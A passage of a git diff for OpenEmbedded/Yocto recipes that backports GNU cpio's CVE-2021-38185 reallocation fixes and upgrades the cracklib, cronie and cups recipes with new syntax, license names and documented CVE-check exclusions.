s->ds_string[s->ds_idx - 1] == c); ++} +diff --git a/src/dstring.h b/src/dstring.h +index b5135fe..f5b04ef 100644 +--- a/src/dstring.h ++++ b/src/dstring.h +@@ -17,10 +17,6 @@ + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301 USA. */ + +-#ifndef NULL +-#define NULL 0 +-#endif +- + /* A dynamic string consists of record that records the size of an + allocated string and the pointer to that string. The actual string + is a normal zero byte terminated string that can be used with the +@@ -30,22 +26,25 @@ + + typedef struct + { +- int ds_length; /* Actual amount of storage allocated. */ +- char *ds_string; /* String. */ ++ size_t ds_size; /* Actual amount of storage allocated. */ ++ size_t ds_idx; /* Index of the next free byte in the string. */ ++ char *ds_string; /* String storage. */ + } dynamic_string; + ++#define DYNAMIC_STRING_INITIALIZER { 0, 0, NULL } + +-/* Macros that look similar to the original string functions. +- WARNING: These macros work only on pointers to dynamic string records. +- If used with a real record, an "&" must be used to get the pointer. */ +-#define ds_strlen(s) strlen ((s)->ds_string) +-#define ds_strcmp(s1, s2) strcmp ((s1)->ds_string, (s2)->ds_string) +-#define ds_strncmp(s1, s2, n) strncmp ((s1)->ds_string, (s2)->ds_string, n) +-#define ds_index(s, c) index ((s)->ds_string, c) +-#define ds_rindex(s, c) rindex ((s)->ds_string, c) ++void ds_init (dynamic_string *string); ++void ds_free (dynamic_string *string); ++void ds_reset (dynamic_string *s, size_t len); + +-void ds_init (dynamic_string *string, int size); +-void ds_resize (dynamic_string *string, int size); ++/* All functions below guarantee that s->ds_string[s->ds_idx] == '\0' */ + char *ds_fgetname (FILE *f, dynamic_string *s); + char *ds_fgets (FILE *f, dynamic_string *s); + char *ds_fgetstr (FILE *f, dynamic_string *s, char eos); ++void ds_append (dynamic_string *s, int c); ++void ds_concat (dynamic_string *s, char const *str); ++ ++#define ds_len(s) ((s)->ds_idx) ++ ++int ds_endswith (dynamic_string *s, int c); ++ +diff --git a/src/util.c b/src/util.c +index 4421b20..6d6bbaa 100644 +--- a/src/util.c ++++ b/src/util.c +@@ -846,11 +846,9 @@ get_next_reel (int tape_des) + FILE *tty_out; /* File for interacting with user. */ + int old_tape_des; + char *next_archive_name; +- dynamic_string new_name; ++ dynamic_string new_name = DYNAMIC_STRING_INITIALIZER; + char *str_res; + +- ds_init (&new_name, 128); +- + /* Open files for interactive communication. */ + tty_in = fopen (TTY_NAME, "r"); + if (tty_in == NULL) +@@ -925,7 +923,7 @@ get_next_reel (int tape_des) + error (PAXEXIT_FAILURE, 0, _("internal error: tape descriptor changed from %d to %d"), + old_tape_des, tape_des); + +- free (new_name.ds_string); ++ ds_free (&new_name); + fclose (tty_in); + fclose (tty_out); + } +-- +2.25.1 + + +From fb7a51bf85b8e6f045cacb4fb783db4a414741bf Mon Sep 17 00:00:00 2001 +From: Sergey Poznyakoff <gray@gnu.org> +Date: Wed, 11 Aug 2021 18:10:38 +0300 +Subject: [PATCH 2/3] Fix previous commit + +* src/dstring.c (ds_reset,ds_concat): Don't call ds_resize in a +loop. +--- + src/dstring.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/dstring.c b/src/dstring.c +index 358f356..90c691c 100644 +--- a/src/dstring.c ++++ b/src/dstring.c +@@ -64,7 +64,7 @@ void + ds_reset (dynamic_string *s, size_t len) + { + while (len > s->ds_size) +- ds_resize (s); ++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1); + s->ds_idx = len; + } + +@@ -116,7 +116,7 @@ ds_concat (dynamic_string *s, char const *str) + { + size_t len = strlen (str); + while (len + 1 > s->ds_size) +- ds_resize (s); ++ s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1); + memcpy (s->ds_string + s->ds_idx, str, len); + s->ds_idx += len; + s->ds_string[s->ds_idx] = 0; +-- +2.25.1 + + +From 86b37d74b15f9bb5fe62fd1642cc126d3ace0189 Mon Sep 17 00:00:00 2001 +From: Sergey Poznyakoff <gray@gnu.org> +Date: Wed, 18 Aug 2021 09:41:39 +0300 +Subject: [PATCH 3/3] Fix dynamic string reallocations + +* src/dstring.c (ds_resize): Take additional argument: number of +bytes to leave available after ds_idx. All uses changed. +--- + src/dstring.c | 18 ++++++++---------- + 1 file changed, 8 insertions(+), 10 deletions(-) + +diff --git a/src/dstring.c b/src/dstring.c +index 90c691c..0f597cc 100644 +--- a/src/dstring.c ++++ b/src/dstring.c +@@ -49,9 +49,9 @@ ds_free (dynamic_string *string) + /* Expand dynamic string STRING, if necessary. */ + + void +-ds_resize (dynamic_string *string) ++ds_resize (dynamic_string *string, size_t len) + { +- if (string->ds_idx == string->ds_size) ++ while (len + string->ds_idx >= string->ds_size) + { + string->ds_string = x2nrealloc (string->ds_string, &string->ds_size, + 1); +@@ -63,8 +63,7 @@ ds_resize (dynamic_string *string) + void + ds_reset (dynamic_string *s, size_t len) + { +- while (len > s->ds_size) +- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1); ++ ds_resize (s, len); + s->ds_idx = len; + } + +@@ -86,10 +85,10 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos) + /* Read the input string. */ + while ((next_ch = getc (f)) != eos && next_ch != EOF) + { +- ds_resize (s); ++ ds_resize (s, 0); + s->ds_string[s->ds_idx++] = next_ch; + } +- ds_resize (s); ++ ds_resize (s, 0); + s->ds_string[s->ds_idx] = '\0'; + + if (s->ds_idx == 0 && next_ch == EOF) +@@ -101,12 +100,12 @@ ds_fgetstr (FILE *f, dynamic_string *s, char eos) + void + ds_append (dynamic_string *s, int c) + { +- ds_resize (s); ++ ds_resize (s, 0); + s->ds_string[s->ds_idx] = c; + if (c) + { + s->ds_idx++; +- ds_resize (s); ++ ds_resize (s, 0); + s->ds_string[s->ds_idx] = 0; + } + } +@@ -115,8 +114,7 @@ void + ds_concat (dynamic_string *s, char const *str) + { + size_t len = strlen (str); +- while (len + 1 > s->ds_size) +- s->ds_string = x2nrealloc (s->ds_string, &s->ds_size, 1); ++ ds_resize (s, len); + memcpy (s->ds_string + s->ds_idx, str, len); + s->ds_idx += len; + s->ds_string[s->ds_idx] = 0; +-- +2.25.1 + diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb index 94d86100c7..e72a114de9 100644 --- a/meta/recipes-extended/cpio/cpio_2.13.bb +++ b/meta/recipes-extended/cpio/cpio_2.13.bb @@ -3,12 +3,13 @@ DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copyi another. It handles a number of cpio formats as well as reading and writing tar files." HOMEPAGE = "http://www.gnu.org/software/cpio/" SECTION = "base" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949" SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \ file://0001-Unset-need_charset_alias-when-building-for-musl.patch \ file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \ + file://CVE-2021-38185.patch \ " SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810" @@ -16,6 +17,9 @@ SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8 inherit autotools gettext texinfo +# Issue applies to use of cpio in SUSE/OBS, doesn't apply to us +CVE_CHECK_IGNORE += "CVE-2010-4226" + EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}" do_install () { @@ -34,14 +38,14 @@ do_install () { PACKAGES =+ "${PN}-rmt" -FILES_${PN}-rmt = "${sbindir}/rmt*" +FILES:${PN}-rmt = "${sbindir}/rmt*" inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "cpio" -ALTERNATIVE_${PN}-rmt = "rmt" +ALTERNATIVE:${PN} = "cpio" +ALTERNATIVE:${PN}-rmt = "rmt" ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio" diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch deleted file mode 100644 index b251ac9056..0000000000 --- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch +++ /dev/null @@ -1,105 +0,0 @@ -From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001 -From: Jan Dittberner <jan@dittberner.info> -Date: Thu, 25 Aug 2016 17:13:49 +0200 -Subject: [PATCH] Apply patch to fix CVE-2016-6318 - -This patch fixes an issue with a stack-based buffer overflow when -parsing large GECOS field. See -https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and -https://security-tracker.debian.org/tracker/CVE-2016-6318 for more -information. - -Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1] -CVE: CVE-2016-6318 -Signed-off-by: Dengke Du <dengke.du@windriver.com> ---- - lib/fascist.c | 57 ++++++++++++++++++++++++++++++++----------------------- - 1 file changed, 33 insertions(+), 24 deletions(-) - -diff --git a/lib/fascist.c b/lib/fascist.c -index a996509..d4deb15 100644 ---- a/lib/fascist.c -+++ b/lib/fascist.c -@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos) - char gbuffer[STRINGSIZE]; - char tbuffer[STRINGSIZE]; - char *uwords[STRINGSIZE]; -- char longbuffer[STRINGSIZE * 2]; -+ char longbuffer[STRINGSIZE]; - - if (gecos == NULL) - gecos = ""; -@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos) - { - for (i = 0; i < j; i++) - { -- strcpy(longbuffer, uwords[i]); -- strcat(longbuffer, uwords[j]); -- -- if (GTry(longbuffer, password)) -+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE) - { -- return _("it is derived from your password entry"); -- } -+ strcpy(longbuffer, uwords[i]); -+ strcat(longbuffer, uwords[j]); - -- strcpy(longbuffer, uwords[j]); -- strcat(longbuffer, uwords[i]); -+ if (GTry(longbuffer, password)) -+ { -+ return _("it is derived from your password entry"); -+ } - -- if (GTry(longbuffer, password)) -- { -- return _("it's derived from your password entry"); -- } -+ strcpy(longbuffer, uwords[j]); -+ strcat(longbuffer, uwords[i]); - -- longbuffer[0] = uwords[i][0]; -- longbuffer[1] = '\0'; -- strcat(longbuffer, uwords[j]); -+ if (GTry(longbuffer, password)) -+ { -+ return _("it's derived from your password entry"); -+ } -+ } - -- if (GTry(longbuffer, password)) -+ if (strlen(uwords[j]) < STRINGSIZE - 1) - { -- return _("it is derivable from your password entry"); -+ longbuffer[0] = uwords[i][0]; -+ longbuffer[1] = '\0'; -+ strcat(longbuffer, uwords[j]); -+ -+ if (GTry(longbuffer, password)) -+ { -+ return _("it is derivable from your password entry"); -+ } - } - -- longbuffer[0] = uwords[j][0]; -- longbuffer[1] = '\0'; -- strcat(longbuffer, uwords[i]); -- -- if (GTry(longbuffer, password)) -+ if (strlen(uwords[i]) < STRINGSIZE - 1) - { -- return _("it's derivable from your password entry"); -+ longbuffer[0] = uwords[j][0]; -+ longbuffer[1] = '\0'; -+ strcat(longbuffer, uwords[i]); -+ -+ if (GTry(longbuffer, password)) -+ { -+ return _("it's derivable from your password entry"); -+ } - } - } - } --- -2.8.1 - diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch index adbe7dfff4..8fb512a224 100644 --- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch +++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch @@ -1,7 +1,7 @@ -From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001 +From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001 From: Lei Maohui <leimaohui@cn.fujitsu.com> Date: Tue, 9 Jun 2015 11:11:48 +0900 -Subject: [PATCH] packlib.c: support dictionary byte order dependent +Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent The previous dict files are NOT byte-order independent, in fact they are probably ARCHITECTURE SPECIFIC. @@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while load them. This could fix the endian issue on multiple platform. Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> -Upstream-Status: Pending +Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41] We can't use the endian.h, htobe* and be*toh functions because they are not available on older versions of glibc, such as that found in RHEL @@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com> Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com> --- - lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- + lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 210 insertions(+), 4 deletions(-) diff --git a/lib/packlib.c b/lib/packlib.c -index f851424..3aac805 100644 +index 8acb7be..a9d8750 100644 --- a/lib/packlib.c +++ b/lib/packlib.c @@ -16,6 +16,12 @@ @@ -317,7 +317,7 @@ index f851424..3aac805 100644 + fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp); fputs(pwp->data_put[0], pwp->dfp); - putc(0, pwp->dfp); + putc(0, (FILE*) pwp->dfp); @@ -464,6 +668,7 @@ GetPW(pwp, number) perror("(index fread failed)"); return NULL; @@ -335,5 +335,5 @@ index f851424..3aac805 100644 int r = 1; -- -1.8.4.2 +2.20.1 diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch index 6210e82121..1ee97357d0 100644 --- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch +++ b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch @@ -1,7 +1,7 @@ -From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001 +From 7250328d7f77069726603ef7132826c9260d3c92 Mon Sep 17 00:00:00 2001 From: Hongxu Jia <hongxu.jia@windriver.com> Date: Sat, 27 Apr 2013 16:02:30 +0800 -Subject: [PATCH] craklib:fix testnum and teststr failed +Subject: [PATCH 2/2] craklib:fix testnum and teststr failed Error log: ... @@ -16,10 +16,10 @@ PWOpen: No such file or directory Set DEFAULT_CRACKLIB_DICT as the path of PWOpen Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> -Upstream-Status: Pending +Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/42] --- - util/testnum.c | 2 +- - util/teststr.c | 2 +- + util/testnum.c | 2 +- + util/teststr.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/util/testnum.c b/util/testnum.c @@ -49,5 +49,5 @@ index 2a31fa4..9fb9cda 100644 perror ("PWOpen"); return (-1); -- -1.7.10.4 +2.20.1 diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb index 82995219dc..629069e844 100644 --- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb +++ b/meta/recipes-extended/cracklib/cracklib_2.9.7.bb @@ -1,27 +1,31 @@ SUMMARY = "Password strength checker library" -HOMEPAGE = "http://sourceforge.net/projects/cracklib" +HOMEPAGE = "https://github.com/cracklib/cracklib" +DESCRIPTION = "${SUMMARY}" -LICENSE = "LGPLv2.1+" +LICENSE = "LGPL-2.1-or-later" LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06" DEPENDS = "cracklib-native zlib" EXTRA_OECONF = "--without-python --libdir=${base_libdir}" -SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \ +SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=master \ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \ - file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \ file://0002-craklib-fix-testnum-and-teststr-failed.patch" -SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582" -SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33" - -UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/" -UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/" +SRCREV = "f83934cf3cced0c9600c7d81332f4169f122a2cf" +S = "${WORKDIR}/git/src" inherit autotools gettext -do_install_append_class-target() { +# This is custom stuff from upstream's autogen.sh +do_configure:prepend() { + mkdir -p ${S}/m4 + echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am + touch ${S}/ABOUT-NLS +} + +do_install:append:class-target() { create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small } diff --git a/meta/recipes-extended/cronie/cronie_1.5.5.bb b/meta/recipes-extended/cronie/cronie_1.5.7.bb index 0def4a187d..8200bedb19 100644 --- a/meta/recipes-extended/cronie/cronie_1.5.5.bb +++ b/meta/recipes-extended/cronie/cronie_1.5.7.bb @@ -7,7 +7,7 @@ HOMEPAGE = "https://github.com/cronie-crond/cronie/" BUGTRACKER = "https://bugzilla.redhat.com" # Internet Systems Consortium License -LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+" +LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \ file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \ file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9" @@ -25,8 +25,7 @@ SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV} PAM_SRC_URI = "file://crond_pam_config.patch" PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid" -SRC_URI[md5sum] = "351a37d0b5bd0144816724b4482747ad" -SRC_URI[sha256sum] = "be34c79505e5544323281854744b9955ff16b160ee569f9df7c0dddae5720eac" +SRC_URI[sha256sum] = "538bcfaf2e986e5ae1edf6d1472a77ea8271d6a9005aee2497a9ed6e13320eb3" inherit autotools update-rc.d useradd systemd @@ -40,22 +39,22 @@ INITSCRIPT_NAME = "crond" INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ." USERADD_PACKAGES = "${PN}" -GROUPADD_PARAM_${PN} = "--system crontab" +GROUPADD_PARAM:${PN} = "--system crontab" -SYSTEMD_SERVICE_${PN} = "crond.service" +SYSTEMD_SERVICE:${PN} = "crond.service" -do_install_append () { +do_install:append () { install -d ${D}${sysconfdir}/sysconfig/ install -d ${D}${sysconfdir}/init.d/ install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond # install systemd unit files - install -d ${D}${systemd_unitdir}/system - install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system + install -d ${D}${systemd_system_unitdir} + install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir} sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \ -e 's,@SBINDIR@,${sbindir},g' \ - ${D}${systemd_unitdir}/system/crond.service + ${D}${systemd_system_unitdir}/crond.service # below are necessary for a complete cron environment install -d ${D}${localstatedir}/spool/cron @@ -80,5 +79,5 @@ do_install_append () { chmod 600 ${D}${sysconfdir}/crontab } -FILES_${PN} += "${sysconfdir}/cron*" -CONFFILES_${PN} += "${sysconfdir}/crontab" +FILES:${PN} += "${sysconfdir}/cron*" +CONFFILES:${PN} += "${sysconfdir}/crontab" diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc index 1765944568..8f2ad8a009 100644 --- a/meta/recipes-extended/cups/cups.inc +++ b/meta/recipes-extended/cups/cups.inc @@ -6,19 +6,26 @@ document types." HOMEPAGE = "https://www.cups.org/" SECTION = "console/utils" LICENSE = "Apache-2.0" -DEPENDS = "gnutls libpng jpeg dbus zlib libusb1" +DEPENDS = "libpng jpeg dbus zlib libusb1" -SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \ +SRC_URI = "https://github.com/OpenPrinting/cups/releases/download/v${PV}/cups-${PV}-source.tar.gz \ file://0001-use-echo-only-in-init.patch \ file://0002-don-t-try-to-run-generated-binaries.patch \ - file://0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch \ + file://libexecdir.patch \ file://0004-cups-fix-multilib-install-file-conflicts.patch \ file://volatiles.99_cups \ file://cups-volatiles.conf \ " -UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases" -UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar" +UPSTREAM_CHECK_URI = "https://github.com/OpenPrinting/cups/releases" +UPSTREAM_CHECK_REGEX = "cups-(?P<pver>(?!.+\d(b|rc)\d.+).+)-source.tar" + +# Issue only applies to MacOS +CVE_CHECK_IGNORE += "CVE-2008-1033" +# Issue affects pdfdistiller plugin used with but not part of cups +CVE_CHECK_IGNORE += "CVE-2009-0032" +# This is an Ubuntu only issue. +CVE_CHECK_IGNORE += "CVE-2018-6553" LEAD_SONAME = "libcupsdriver.so" @@ -27,45 +34,38 @@ CLEANBROKEN = "1" inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script USERADD_PACKAGES = "${PN}" -GROUPADD_PARAM_${PN} = "--system lpadmin" +GROUPADD_PARAM:${PN} = "--system lpadmin" -SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket" +SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket" PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \ ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}" -PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi" +PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi" PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl" +PACKAGECONFIG[gnutls] = "--with-tls=gnutls,--with-tls=no,gnutls" PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam" PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd" PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd" EXTRA_OECONF = " \ - --enable-gnutls \ --enable-dbus \ + --with-dbusdir=${sysconfdir}/dbus-1 \ --enable-browsing \ --disable-gssapi \ --enable-debug \ --disable-relro \ --enable-libusb \ + --with-system-groups=lpadmin \ + --with-cups-group=lp \ + --with-domainsocket=/run/cups/cups.sock \ + --with-pkgconfpath=${libdir}/pkgconfig \ DSOFLAGS='${LDFLAGS}' \ " EXTRA_AUTORECONF += "--exclude=autoheader" -do_compile () { - echo "all:" > man/Makefile - echo "libs:" >> man/Makefile - echo "install:" >> man/Makefile - echo "install-data:" >> man/Makefile - echo "install-exec:" >> man/Makefile - echo "install-headers:" >> man/Makefile - echo "install-libs:" >> man/Makefile - - oe_runmake -} - do_install () { - oe_runmake "DSTROOT=${D}" install + oe_runmake "DESTDIR=${D}" install # Remove /var/run from package as cupsd will populate it on startup rm -fr ${D}/${localstatedir}/run @@ -93,22 +93,21 @@ do_install () { PACKAGES =+ "${PN}-lib ${PN}-libimage" -RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}" -FILES_${PN} += "${libexecdir}/cups/ \ - " +RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}" +FILES:${PN} += "${libexecdir}/cups/" -FILES_${PN}-lib = "${libdir}/libcups.so.*" +FILES:${PN}-lib = "${libdir}/libcups.so.*" -FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*" +FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*" #package the html for the webgui inside the main packages (~1MB uncompressed) -FILES_${PN} += "${datadir}/doc/cups/images \ +FILES:${PN} += "${datadir}/doc/cups/images \ ${datadir}/doc/cups/*html \ ${datadir}/doc/cups/*.css \ ${datadir}/icons/ \ " -CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf" +CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf" MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config" @@ -116,3 +115,7 @@ SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess" cups_sysroot_preprocess () { sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:' } + +# -25317 concerns /var/log/cups having lp ownership. Our /var/log/cups is +# root:root, so this doesn't apply. +CVE_CHECK_IGNORE += "CVE-2021-25317" diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch index ea248e4710..2bc26edbfc 100644 --- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch +++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch @@ -26,48 +26,6 @@ index 32e2e0b..f1478d4 100644 # -@@ -205,9 +205,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po - $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \ - $(LINKCUPSSTATIC) - $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@ -- echo Testing PPD compiler... -- ./ppdc-static -l en,fr -I ../data foo.drv -- ./ppdc-static -l en,fr -z -I ../data foo.drv -+# echo Testing PPD compiler... -+# ./ppdc-static -l en,fr -I ../data foo.drv -+# ./ppdc-static -l en,fr -z -I ../data foo.drv - - - # -@@ -235,17 +235,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) - $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \ - $(LINKCUPSSTATIC) - $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@ -- echo Testing PPD importer... -- $(RM) -r ppd ppd2 sample-import.drv -- ./ppdc-static -l en -I ../data sample.drv -- ./ppdi-static -I ../data -o sample-import.drv ppd/* -- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv -- if diff -r ppd ppd2 >/dev/null; then \ -- echo PPD import OK; \ -- else \ -- echo PPD import FAILED; \ -- exit 1; \ -- fi -+# echo Testing PPD importer... -+# $(RM) -r ppd ppd2 sample-import.drv -+# ./ppdc-static -l en -I ../data sample.drv -+# ./ppdi-static -I ../data -o sample-import.drv ppd/* -+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv -+# if diff -r ppd ppd2 >/dev/null; then \ -+# echo PPD import OK; \ -+# else \ -+# echo PPD import FAILED; \ -+# exit 1; \ -+# fi - - - # -- 2.17.1 diff --git a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch b/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch deleted file mode 100644 index b48c7a9ad2..0000000000 --- a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch +++ /dev/null @@ -1,51 +0,0 @@ -From 66c2079ae91389ee0f9d704bf0d2cccd53b2c603 Mon Sep 17 00:00:00 2001 -From: Khem Raj <raj.khem@gmail.com> -Date: Sun, 22 Jul 2012 16:54:17 -0700 -Subject: [PATCH 3/4] cups_1.4.6.bb: Fix build on ppc64 - -Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches -e.g. ppc64 where base libdir is lib64 this does not go well - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Upstream-Status: Inappropriate [OE config specific] - -Update on 20190904: -Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction -when multilib is enabled. - -Signed-off-by: Kai Kang <kai.kang@windriver.com> - ---- - config-scripts/cups-directories.m4 | 2 +- - configure | 2 +- - 2 files changed, 2 insertions(+), 2 deletions(-) - -diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4 -index b74083a..9a5abb2 100644 ---- a/config-scripts/cups-directories.m4 -+++ b/config-scripts/cups-directories.m4 -@@ -270,7 +270,7 @@ case "$host_os_name" in - *) - # All others - INSTALL_SYSV="install-sysv" -- CUPS_SERVERBIN="$exec_prefix/lib/cups" -+ CUPS_SERVERBIN="$libexecdir/cups" - ;; - esac - -diff --git a/configure b/configure -index d3df145..bc68a6c 100755 ---- a/configure -+++ b/configure -@@ -6420,7 +6420,7 @@ case "$host_os_name" in - *) - # All others - INSTALL_SYSV="install-sysv" -- CUPS_SERVERBIN="$exec_prefix/lib/cups" -+ CUPS_SERVERBIN="$libexecdir/cups" - ;; - esac - --- -2.17.1 - diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch 